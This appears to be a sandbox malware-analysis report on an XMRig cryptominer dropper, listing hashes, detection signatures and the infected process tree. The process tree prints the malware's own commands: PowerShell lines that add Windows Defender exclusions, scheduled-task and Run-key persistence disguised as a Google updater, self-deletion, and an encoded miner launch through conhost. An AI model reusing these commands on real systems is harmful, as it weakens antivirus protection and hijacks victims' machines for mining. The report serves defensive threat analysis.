Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
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max time kernel
371s -
max time network
1792s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
24/10/2024, 20:12
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20241023-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240708-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20241010-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240903-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240903-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2600 created 1192 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 20 PID 2600 created 1192 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 20 PID 2600 created 1192 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 20 PID 2600 created 1192 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 20 PID 564 created 1192 564 updater.exe 20 PID 564 created 1192 564 updater.exe 20 PID 564 created 1192 564 updater.exe 20 PID 564 created 1192 564 updater.exe 20 PID 1116 created 1192 1116 conhost.exe 20 PID 564 created 1192 564 updater.exe 20 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral3/memory/928-46-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-45-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-48-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-50-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-52-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-54-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-56-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-58-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-60-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-62-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-64-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-66-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-68-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/928-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2052 powershell.exe 2448 powershell.exe 2836 powershell.exe 1512 powershell.exe -
Deletes itself 1 IoCs
pid Process 2820 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 564 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 336 taskeng.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 564 set thread context of 1116 564 updater.exe 47 PID 564 set thread context of 928 564 updater.exe 54 -
resource yara_rule behavioral3/memory/928-41-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-46-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-45-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-48-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-50-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-52-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-54-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-56-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-58-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-60-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-62-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-64-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/928-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (17) - K.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2016 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 7085a20d7a26db01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2972 schtasks.exe 2988 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 2052 powershell.exe 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 2836 powershell.exe 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 2600 qM5GMXBk6hJE6Y5e (17) - K.exe 536 powershell.exe 564 updater.exe 564 updater.exe 2448 powershell.exe 564 updater.exe 564 updater.exe 1512 powershell.exe 564 updater.exe 564 updater.exe 564 updater.exe 564 updater.exe 1116 conhost.exe 1116 conhost.exe 564 updater.exe 564 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2052 powershell.exe Token: SeDebugPrivilege 2836 powershell.exe Token: SeDebugPrivilege 536 powershell.exe Token: SeDebugPrivilege 2448 powershell.exe Token: SeDebugPrivilege 1512 powershell.exe Token: SeDebugPrivilege 564 updater.exe Token: SeAssignPrimaryTokenPrivilege 2016 WMIC.exe Token: SeIncreaseQuotaPrivilege 2016 WMIC.exe Token: SeSecurityPrivilege 2016 WMIC.exe Token: SeTakeOwnershipPrivilege 2016 WMIC.exe Token: SeLoadDriverPrivilege 2016 WMIC.exe Token: SeSystemtimePrivilege 2016 WMIC.exe Token: SeBackupPrivilege 2016 WMIC.exe Token: SeRestorePrivilege 2016 WMIC.exe Token: SeShutdownPrivilege 2016 WMIC.exe Token: SeSystemEnvironmentPrivilege 2016 WMIC.exe Token: SeUndockPrivilege 2016 WMIC.exe Token: SeManageVolumePrivilege 2016 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2016 WMIC.exe Token: SeIncreaseQuotaPrivilege 2016 WMIC.exe Token: SeSecurityPrivilege 2016 WMIC.exe Token: SeTakeOwnershipPrivilege 2016 WMIC.exe Token: SeLoadDriverPrivilege 2016 WMIC.exe Token: SeSystemtimePrivilege 2016 WMIC.exe Token: SeBackupPrivilege 2016 WMIC.exe Token: SeRestorePrivilege 2016 WMIC.exe Token: SeShutdownPrivilege 2016 WMIC.exe Token: SeSystemEnvironmentPrivilege 2016 WMIC.exe Token: SeUndockPrivilege 2016 WMIC.exe Token: SeManageVolumePrivilege 2016 WMIC.exe Token: SeLockMemoryPrivilege 928 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2836 wrote to memory of 2972 2836 powershell.exe 33 PID 2836 wrote to memory of 2972 2836 powershell.exe 33 PID 2836 wrote to memory of 2972 2836 powershell.exe 33 PID 2820 wrote to memory of 2900 2820 cmd.exe 38 PID 2820 wrote to memory of 2900 2820 cmd.exe 38 PID 2820 wrote to memory of 2900 2820 cmd.exe 38 PID 536 wrote to memory of 2804 536 powershell.exe 39 PID 536 wrote to memory of 2804 536 powershell.exe 39 PID 536 wrote to memory of 2804 536 powershell.exe 39 PID 336 wrote to memory of 564 336 taskeng.exe 41 PID 336 wrote to memory of 564 336 taskeng.exe 41 PID 336 wrote to memory of 564 336 taskeng.exe 41 PID 1512 wrote to memory of 2988 1512 powershell.exe 46 PID 1512 wrote to memory of 2988 1512 powershell.exe 46 PID 1512 wrote to memory of 2988 1512 powershell.exe 46 PID 564 wrote to memory of 1116 564 updater.exe 47 PID 2476 wrote to memory of 2016 2476 cmd.exe 52 PID 2476 wrote to memory of 2016 2476 cmd.exe 52 PID 2476 wrote to memory of 2016 2476 cmd.exe 52 PID 564 wrote to memory of 928 564 updater.exe 54 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1192
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2600
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2052
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2972
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:536 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2804
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2900
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2448
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2988
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1116
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2016
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2040
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:928
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C:\Windows\system32\taskeng.exetaskeng.exe {3B459E99-3EE5-428D-83B8-F3E82BDCC667} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:336 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:564
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5986e73561db4c405169ee0a3cd76a8d9
SHA1c49ed4564b20e0ff843e6344195910100c329953
SHA2568ac911d153dfa92a18c9890ad073f7aff8a1be8652831bf4dc090b84dc366588
SHA512bc7bc468e4537cb7d17483694ed56ccca5720e992c9bd1bf88df4f36f986567c6ad3021e873232cd9db9a25a34bd993f9b983879a32d944593c19e1f9411686b
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6